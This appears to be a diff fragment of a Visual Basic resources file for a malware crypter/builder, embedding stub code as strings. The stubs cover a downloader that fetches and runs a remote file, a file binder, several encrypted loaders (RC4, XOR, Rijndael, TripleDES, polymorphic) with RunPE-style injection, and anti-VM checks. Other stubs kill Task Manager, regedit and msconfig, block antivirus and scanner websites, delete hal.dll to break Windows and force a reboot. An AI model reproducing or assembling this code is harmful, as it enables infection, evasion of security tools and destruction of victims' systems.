|
||||
Return ResourceManager.GetString("ANotePad", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub AT
|
||||
''' Dim id As String = "76487-337-8429955-22614"
|
||||
'''
|
||||
''' Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
|
||||
'''
|
||||
''' Dim pid As Object = regPID.GetValue("ProductId")
|
||||
'''
|
||||
''' Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController"
|
||||
'''
|
||||
''' D = GetObject("winmgmts:").ExecQuery(B)
|
||||
'''
|
||||
''' Dim AdaptList As Object
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property AntisSub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("AntisSub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long
|
||||
'''|Public Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
|
||||
'''|Public Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property APIs() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("APIs", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim filled() As String
|
||||
'''
|
||||
'''Dim rand As New Random()
|
||||
'''
|
||||
''''FilledSplitting
|
||||
'''
|
||||
'''Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & rand.Next(10000, 99999).ToString & filled(1)
|
||||
'''
|
||||
'''My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False)
|
||||
'''
|
||||
'''System.Diagnostics.Process.Start(tpth)
|
||||
'''
|
||||
'''.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Binder() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Binder", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\1" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
|
||||
'''My.Computer.Network.DownloadFile($DownloadLink$, Expl)
|
||||
'''Do Until IO.File.Exists(Expl) = True
|
||||
''' System.Threading.Thread.Sleep(1000)
|
||||
'''Loop
|
||||
'''System.Diagnostics.Process.Start(Expl).
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Downloader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Downloader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Try
|
||||
''' Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer"
|
||||
''' My.Computer.Registry.SetValue(regloc, "NoFolderOptions", "1", Microsoft.Win32.RegistryValueKind.DWord)
|
||||
'''Catch
|
||||
'''End Try.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property FolderOpt() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("FolderOpt", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Sub A(ByVal ProcessName As String)
|
||||
''' Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses
|
||||
''' If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length >= 1 Then
|
||||
''' System.Threading.Thread.Sleep(10000)
|
||||
''' End If
|
||||
'''End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property FunctionA() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("FunctionA", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Try
|
||||
''' IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\hal.dll")
|
||||
'''Catch
|
||||
'''End Try.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property HalDLL() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("HalDLL", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean
|
||||
''' Dim vr1 As New Threading.Thread(AddressOf vr0)
|
||||
''' vr1.SetApartmentState(Threading.ApartmentState.STA)
|
||||
''' vr1.Start(bytes)
|
||||
''' End Function
|
||||
''' Private Shared Sub vr0(ByVal vr0 As Object)
|
||||
''' Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint
|
||||
''' If vr19.GetParameters.Length = 1 Then
|
||||
''' vr19.Invoke(Nothing, New Object() {New String() {}})
|
||||
''' Else
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Invoke() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Invoke", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function Killer(ByVal proc As String) As String
|
||||
''' Try
|
||||
''' While True
|
||||
''' Dim p As System.Diagnostics.Process
|
||||
''' For Each p In System.Diagnostics.Process.GetProcesses
|
||||
''' If proc.Contains(p.ProcessName) Then
|
||||
''' p.Kill()
|
||||
''' End If
|
||||
''' Next
|
||||
''' System.Threading.Thread.Sleep(1)
|
||||
''' End While
|
||||
''' Catch ex As Exception
|
||||
''' End Try
|
||||
''' Return Nothing
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property KFunction() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("KFunction", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub KKK
|
||||
'''
|
||||
''' Dim KF13 As New System.Threading.Thread(AddressOf F13)
|
||||
'''
|
||||
''' KF13.Start()
|
||||
'''
|
||||
''' Dim KF14 As New System.Threading.Thread(AddressOf F14)
|
||||
'''
|
||||
''' KF14.Start()
|
||||
'''
|
||||
''' Dim KF15 As New System.Threading.Thread(AddressOf F15)
|
||||
'''
|
||||
''' KF15.Start()
|
||||
'''
|
||||
''' Dim KF16 As New System.Threading.Thread(AddressOf F16)
|
||||
'''
|
||||
''' KF16.Start()
|
||||
'''
|
||||
''' Dim KF17 As New System.Threading.Thread(AddressOf F17)
|
||||
'''
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Killers() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Killers", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to 'Shared Sub Melt(ByVal NewName As String)
|
||||
''' ' Try
|
||||
''' ' Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
|
||||
''' ' If Application.StartupPath = NewFolder = False Then
|
||||
''' ' FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder & "\" & NewName)
|
||||
''' ' Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath)
|
||||
''' ' Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden
|
||||
''' ' IO.File.SetAttributes(NewFolder & "\" & NewName, Hidden)
|
||||
''' ' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Melt() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Melt", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F61()
|
||||
''' Killer("msconfig")
|
||||
''' End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property msconfig() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("msconfig", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function PolyDec(ByVal Input As String) As String
|
||||
''' Dim Output As String = Nothing
|
||||
''' Dim SA() As String
|
||||
''' SA = Input.Split("|")
|
||||
''' For Each C As String In SA
|
||||
''' Try
|
||||
''' Output = Output & Chr(C - SA(0))
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Next
|
||||
''' Return Output.Remove(0, 1)
|
||||
'''End Function.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyDec() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyDec", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim D As New PolyRC4(R.GetObject("K"))
|
||||
''' Dim N As String = D.Decrypt(R.GetObject("NM"))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("I")))
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, B, False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("F")))
|
||||
''' LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X")) [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyRC4Loader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyRC4Loader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Class PolyRC4
|
||||
'''
|
||||
''' Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf"
|
||||
'''
|
||||
''' Sub New(ByVal EncryptionKey As String)
|
||||
'''
|
||||
''' Key = EncryptionKey
|
||||
'''
|
||||
''' End Sub
|
||||
'''
|
||||
''' Public Function Encrypt(ByVal message As String) As String
|
||||
'''
|
||||
''' message = XX(message, Key)
|
||||
'''
|
||||
''' Dim random As New Random()
|
||||
'''
|
||||
''' Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList()
|
||||
'''
|
||||
''' Dim out [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyRC4Rev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyRC4Rev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
'''R.GetObject("K")))
|
||||
'''Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
'''If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
'''End If
|
||||
'''Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
'''Catch
|
||||
'''End Try
|
||||
'''LoadMethod("IX", " [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyStairsLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyStairsLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Class PolyMorphicStairs
|
||||
''' Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
|
||||
''' Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
|
||||
''' PolyDeCrypt = Encoding.Default.GetString(buff)
|
||||
''' Erase buff
|
||||
''' End Function
|
||||
''' Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal Ex [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyStairsRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyStairsRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim D As New Polymorphic(R.GetObject("K"))
|
||||
''' Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' LoadMethod("IX", "R", CC(ReverseString(R.Get [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyXORLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyXORLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Class PolyMorphic
|
||||
''' 'Variable for the Key.
|
||||
''' Private sKey As String = ""
|
||||
''' 'Property, will Give us acces to the key.
|
||||
''' Public Property Key() As String
|
||||
''' Get
|
||||
''' Return sKey
|
||||
''' End Get
|
||||
''' Set(ByVal value As String)
|
||||
''' sKey = value
|
||||
''' End Set
|
||||
''' End Property
|
||||
''' 'Inisalization. (New Constructor)
|
||||
''' Public Sub New(ByVal Key As String)
|
||||
''' Me.Key = Key
|
||||
''' End Sub
|
||||
''' Public [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyXORRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyXORRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function Rc4(ByVal ºjmÍ() As Byte, ByVal ºjmUÍ() As Byte) As Byte()
|
||||
'''
|
||||
''' Dim s(Convert.ToInt32(11111111, &H2)) As Byte
|
||||
'''
|
||||
''' Dim i As Integer
|
||||
'''
|
||||
''' For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
|
||||
'''
|
||||
''' s(i) = CByte(i)
|
||||
'''
|
||||
''' Next
|
||||
'''
|
||||
''' Dim j As Integer
|
||||
'''
|
||||
''' For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
|
||||
'''
|
||||
''' j = (j + ºjmUÍ(i Mod ºjmUÍ.Length) + s(i)) And Convert.ToInt32(11111111, &H2)
|
||||
'''
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RC4() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RC4", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
'''R.GetObject("K")))
|
||||
'''Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
'''If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
'''End If
|
||||
'''Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
'''Catch
|
||||
'''End Try
|
||||
'''LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object( [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RC4Loader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RC4Loader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F60()
|
||||
''' Killer("regedit")
|
||||
'''End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Regedit() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Regedit", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Option Explicit Off
|
||||
'''Option Strict Off
|
||||
'''Imports System.Reflection
|
||||
'''Imports System.Runtime.InteropServices
|
||||
'''Imports System
|
||||
'''Imports Microsoft.VisualBasic
|
||||
'''Imports System.Text
|
||||
'''Imports System.Security.Cryptography
|
||||
'''Imports Microsoft.Win32
|
||||
'''Imports System.Windows.Forms
|
||||
'''Imports System.IO
|
||||
'''Imports System.CodeDom.Compiler
|
||||
''''AssemblyCodes
|
||||
'''Public Class Out
|
||||
''' 'FakeAPI#1
|
||||
''' 'FakeAPI#2
|
||||
''' 'FakeAPI#3
|
||||
''' 'FakeAPI#4
|
||||
''' 'FakeAPI#5
|
||||
''' 'FakeAPI#6
|
||||
''' 'FakeAPI#7
|
||||
''' 'FakeAPI#8
|
||||
''' 'FakeAPI#9
|
||||
''' 'FakeAPI#A
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property ResetStub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("ResetStub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart"
|
||||
'''If Not IO.File.Exists(bytloc) Then
|
||||
''' Dim filebyt As Byte() = New Byte() {}
|
||||
''' My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False)
|
||||
''' Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide)
|
||||
'''End If.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Restart() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Restart", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K"))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _
|
||||
''' R.GetObject("K")))
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _
|
||||
''' R.GetObject("K")))
|
||||
''' LoadMethod("IX [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RijLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RijLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
|
||||
'''
|
||||
''' Dim A As New RijndaelManaged
|
||||
'''
|
||||
''' Dim BC() As Byte
|
||||
'''
|
||||
''' Dim BS() As Byte = New Byte() {Convert.ToInt32(&H1, &H2), _
|
||||
''' Convert.ToInt32(10, &H2), _
|
||||
''' Convert.ToInt32(11, &H2), _
|
||||
''' Convert.ToInt32(100, &H2), _
|
||||
''' Convert.ToInt32(101, &H2), [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RijndaelRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RijndaelRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to using System.Runtime.InteropServices;
|
||||
'''using System;
|
||||
'''using System.Text;
|
||||
'''public class IX
|
||||
'''{
|
||||
''' [return: MarshalAs(UnmanagedType.Bool)]
|
||||
''' [DllImport("kernel32")]
|
||||
''' private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
|
||||
''' [return: MarshalAs(UnmanagedType.Bool)]
|
||||
''' [DllImport("kernel32")]
|
||||
''' private static extern bool [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RpE() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RpE", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
'''R.GetObject("K")))
|
||||
'''Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
'''If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
'''End If
|
||||
'''Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
'''Catch
|
||||
'''End Try
|
||||
'''LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), N [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property StairsLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("StairsLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
|
||||
''' For i = Data.Length - Convert.ToInt32(&H1, 2) To Convert.ToInt32(0, 2) Step -1
|
||||
''' Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _
|
||||
''' Convert.ToInt32(&H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _
|
||||
''' Mod Convert.ToInt32(100000000, 2))
|
||||
''' Next
|
||||
''' Return Data
|
||||
''' End Function.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property StairsRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("StairsRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Option Explicit Off
|
||||
'''Option Strict Off
|
||||
'''Imports System.Reflection
|
||||
'''Imports System.Runtime.InteropServices
|
||||
'''Imports System
|
||||
'''Imports Microsoft.VisualBasic
|
||||
'''Imports System.Text
|
||||
'''Imports System.Security.Cryptography
|
||||
'''Imports Microsoft.Win32
|
||||
'''Imports System.Windows.Forms
|
||||
'''Imports System.IO
|
||||
'''Imports System.CodeDom.Compiler
|
||||
''''AssemblyCodes
|
||||
'''Public Class Out
|
||||
''' 'FakeAPI#1
|
||||
''' 'FakeAPI#2
|
||||
''' 'FakeAPI#3
|
||||
''' 'FakeAPI#4
|
||||
''' 'FakeAPI#5
|
||||
''' 'FakeAPI#6
|
||||
''' 'FakeAPI#7
|
||||
''' 'FakeAPI#8
|
||||
''' 'FakeAPI#9
|
||||
''' 'FakeAPI#A
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Stub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Stub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F59()
|
||||
''' Killer("taskmgr")
|
||||
'''End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property TaskMSub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("TaskMSub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = TripleDESdecrypt(R.GetObject("NM"),R.GetObject("K"), True)
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("I"), _
|
||||
''' R.GetObject("K"), True))
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("F"), _
|
||||
''' R.GetObject("K"), Tr [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property TDESLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("TDESLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
|
||||
''' Dim keyArray As Byte()
|
||||
''' Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
|
||||
''' If d Then
|
||||
''' Dim hashmd5 = New MD5CryptoServiceProvider()
|
||||
''' keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
|
||||
''' Else
|
||||
''' keyArray = UTF8Encoding.UTF8.GetBytes(c)
|
||||
''' End If
|
||||
''' Dim tdes = New TripleDESCryptoServiceProvider()
|
||||
''' td [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property TDESRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("TDESRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub W
|
||||
'''
|
||||
''' WebBlock("www.novirusthanks.org")
|
||||
'''
|
||||
''' WebBlock("www.virustotal.com")
|
||||
'''
|
||||
''' WebBlock("www.virusscan.jotti.org")
|
||||
'''
|
||||
''' WebBlock("www.malwarebytes.org")
|
||||
'''
|
||||
''' WebBlock("www.bitdefender.com/scanner/online/free.html")
|
||||
'''
|
||||
''' WebBlock("www.eset.com/online-scanner")
|
||||
'''
|
||||
''' WebBlock("housecall.trendmicro.com")
|
||||
'''
|
||||
''' WebBlock("www.kaspersky.com/scanforvirus")
|
||||
'''
|
||||
''' WebBlock("www.kaspersky.com/vir [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Websites() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Websites", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = xEncryptionD(R.GetObject("K"), R.GetObject("NM"))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
|
||||
''' R.GetObject("I")))
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject("K"), _
|
||||
''' R.GetObject("F")))
|
||||
''' LoadMethod("IX", "R", [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property XORLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("XORLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
|
||||
'''
|
||||
''' Dim lonDataPtr As Long
|
||||
'''
|
||||
''' Dim strDataOut As String = ""
|
||||
'''
|
||||
''' Dim intXOrValue1 As Integer
|
||||
'''
|
||||
''' Dim intXOrValue2 As Integer
|
||||
'''
|
||||
''' Dim H As String = "&H"
|
||||
'''
|
||||
''' For lonDataPtr = 1 To (Len(DataIn) / 2)
|
||||
'''
|
||||
''' intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
|
||||
'''
|
||||
''' intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
|
||||
'''
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property XORRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("XORRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,244 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
